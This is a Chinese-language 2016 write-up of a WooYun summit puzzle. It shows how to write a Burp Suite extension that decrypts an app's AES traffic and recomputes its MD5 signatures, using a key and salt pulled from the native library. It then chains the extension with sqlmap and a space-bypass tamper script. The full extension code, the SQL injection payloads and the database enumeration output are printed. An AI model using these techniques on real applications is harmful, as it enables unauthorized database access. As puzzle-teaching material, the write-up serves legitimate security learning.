瘦蛟舞 · 2016/06/22 15:01
0x00 引子
文章本是計劃在五月完成,由於一直沒有合適放出的案例導致此計劃一直擱淺。巧遇烏雲峰會puzzle,於是出了一道相關的題目,順便放出此文以供大家交流學習。
峰會題目地址傳送門:
summit.wooyun.org/2016/puzzle…
0x01 初出茅廬
隨著時間的推進,攻防兩端的進步。越來越多的開發者選擇在app的通訊中加入加密和簽名機制以提高整體的安全性,這種做法確實是提高攻擊以及漏洞挖掘的門檻,而如何跨過這個門檻就是本文的中心內容。
加解密相關的內容可以參考下文:
你是否在測試過程中遇到這樣的困惑?
你是否在抓到這樣的包後一臉萌比?
要解決這些問題,簡單來說就是需要一箇中轉指令碼來進行加解密和恢復簽名的操作。主站現在已經有些案例利用到這個小技巧。
WooYun: Zealer_android客戶端安全檢測(從脫殼到burp自動加解密外掛案例/SQL隱碼攻擊/邏輯漏洞/附AES加解密指令碼POC)
0x02 嶄露頭角
我這裡選擇利用burp的外掛來完成這個指令碼,選擇burp的優勢是可以做一些掃描也可以結合其他工具比如sqlmap組合攻擊。我學習這個外掛的寫法是通過看官方示例程式碼和api,以及在github上搜尋相關程式碼。
https://portswigger.net/burp/extender/
https://portswigger.net/burp/extender/api/index.html
https://github.com/search?q=IBurpExtender&type=Code&utf8=%E2%9C%93
drops上也有幾篇文章寫的非常不錯。
http://drops.wooyun.org/papers/3962
http://drops.wooyun.org/tools/14040
http://drops.wooyun.org/tools/14685
http://drops.wooyun.org/tools/16056
這裡最簡化的處理流程,只需要掌握外掛的基本的寫法和IHttpListener、IExtensionHelpers、IBurpExtenderCallbacks這幾個關鍵介面。
- 實現IHttpListener介面,重寫processHttpMessage方法
- 註冊IHttpListener介面,callbacks.registerHttpListener(this);
- 在processHttpMessage方法中對請求響應包進行加解密以及恢復簽名操作。
關鍵方法1:傳送http請求和接受http響應的時候被呼叫
void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo);
複製程式碼
引數 | 描述 |
---|---|
toolFlag | 用於burp tool判斷是否發出請求的flag |
messageIsRequest | 判斷區分請求還是響應的flag |
messageInfo | http包的具體細節,可以從中取得請求或者響應包的二進位制流 |
關鍵方法2:分析處理http請求
IRequestInfo analyzeRequest(IHttpService httpService, byte[] request);
複製程式碼
引數 | 描述 |
---|---|
httpService | 請求服務相關包括host/method等資訊,可以設定為空 |
request | 待分析的requst二進位制流 |
return | IRequestInfo包含requst的各種細節,可以取出parameter/header等 |
關鍵方法3:通過制定headers和body重組http訊息
byte[] buildHttpMessage(List<String> headers, byte[] body);
複製程式碼
引數 | 描述 |
---|---|
headers | http請求頭 |
body | http請求body |
return | http message二進位制流 |
起初計劃是做成通用外掛的,還是通過分析了一些app梳理這個通用外掛所要提供的diy項後為放棄了。個人覺得這麼複雜的選項(還要求有逆向基礎)實在是不如改外掛程式碼來的快。
需要提供的 editor
- host/port/protocol填寫, host : [ z.cn ]
- 演算法選擇 , hash : [ md5/sha256.... ]
- 是否排序Map sort, sort : [ Y ]
- 簽名引數填寫, key : [ sign ]
- 鹽值填寫,salt : []
- 需要替換的引數 param1/param2 : [] , 替換後引數的內容 value : []
- 需要拼接的引數, key/value ,其中 key 是否需要拼接.
- 是否拼接 uri
- 拼接前是否大小寫轉換...
支援的 hash / 加密演算法
- md5 : encode16 / encode32
- sha : sha1 / sha256
- encrytion : aes/des/rsa...
後續需加入的功能
- 支援更多編碼: hex / unicode /base64
- 支援時間戳修正: timestamp
0x03 你的劍就是我的劍
掌握burp外掛的寫法後需要繼續分析客戶的加密和簽名演算法,這裡也可以選擇用cydia的外掛Introspy來完成加密演算法的分析。
得出加密採用AES/ECB/PKCS5Padding,金鑰寫在native中。
簽名採用md5,salt同樣寫在native中。
簡單看下so就有aes金鑰和hash的salt了,同時這兩個也是part1和part2.
現階段在沒有外掛的條件下我們就可以手動用util類進行解密和資料篡改了。
請求body密文
D7A0B5D14A27FB858F62C66CCFA533FE7213566B6D50DF5FF19CE796FECE12D074B0E931907958D14F4CD6BE90D4BCB4E1225BD3C530FB6B00BFC810942CC845
解密後為
id=3&sign=3012fa31b42aa09a032db0f23d522bcf&dateline=1466505472
響應body密文
d9e128643d46562942c62de2e81dd1f34b50dcb0b9853f0ad67000bfeb34e347
解密後為
data: third data
0x04 弱點選破
結合破解到演算法我們現在就可以寫出這個中轉外掛了。
攔截客戶端請求requst -> 提取引數,修復簽名 -> aes加密後傳送 -> 攔截服務端響應response -> aes解密
#!java
public class BurpExtender implements IBurpExtender, IHttpListener, IMessageEditorTabFactory {
private static final String HOST = "sangebaimao.com";
private static final String mSign = "sign";
public static final String salt = "3edczxcv";
public static final String key = "[email protected]";
private IExtensionHelpers helpers;
private IBurpExtenderCallbacks mCallbacks;
//
// implement IBurpExtender
//
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// obtain an extension helpers object
helpers = callbacks.getHelpers();
// set our extension name
callbacks.setExtensionName("WY summit");
// register ourselves as an HTTP listener
callbacks.registerHttpListener(this);
// callbacks.issueAlert("loaded success");
mCallbacks = callbacks;
}
//
// implement IHttpListener
//
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
IHttpService httpService = messageInfo.getHttpService();
if (messageIsRequest && httpService.getHost().endsWith(HOST)) {
byte[] req = messageInfo.getRequest();
IRequestInfo reqInfo = helpers.analyzeRequest(httpService, req);
String path = reqInfo.getUrl().getPath();
String method = reqInfo.getMethod();
String payload = "";
List<IParameter> param = reqInfo.getParameters();
//PATCH method can not get parmaters
// for (IParameter tmp:param) {
//
// Util.log(mCallbacks,tmp.getName()+":"+tmp.getValue());
//
// }
String reqStr = new String(messageInfo.getRequest());
String messageBody = reqStr.substring(reqInfo.getBodyOffset());
payload = messageBody.substring(3);
payload = helpers.urlDecode(payload);
String data = "id="+payload+"&sign="+Util.md5(payload+salt);
String sec = Util.aesEncode(key,data);
// Util.log(mCallbacks,"data:"+data+"\nsec:"+sec);
req = helpers.buildHttpMessage(reqInfo.getHeaders(),helpers.stringToBytes(sec));
messageInfo.setRequest(req);
}else {
byte[] response = messageInfo.getResponse();
IResponseInfo respInfo = helpers.analyzeResponse(response);
int offset = respInfo.getBodyOffset();
String body = helpers.bytesToString(response).substring(offset);
String plantext = Util.aesDecode(key,body);
messageInfo.setResponse(helpers.stringToBytes(plantext));
}
}
}
複製程式碼
外掛build後載入到burp中enable,再將sqlmap的流量代理到burp中,因為這個注入還有一個坑就是將space空格給替換了,所以這裡加入一個tamper指令碼來繞過這個filter機制。
sqlmap -r ~/Documents/cracksql.txt --proxy http://127.0.0.1:8080 --tamper space2hash.py
sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: id (PATCH)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3122=3122
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (PATCH)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3122=3122
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sangebaimao
複製程式碼
這裡如果不解密響應包的話就不能用UNION query來快速查庫了,part3就在這個庫裡面。
0xff 歸隱江湖
- burp不會判斷重複外掛,載入新外掛的時候記得移除老版本外掛
- 外掛執行順序按照ui上顯示的順序,可以使用down/up調整
- 對method區分比較清楚,如果遇到post請求中url中也帶有引數需要注意,當然一些奇怪的method處理起來也需要點變通
- output如果輸入內容較多ui顯示不全,可以選擇output to system console,然後去terminal中檢視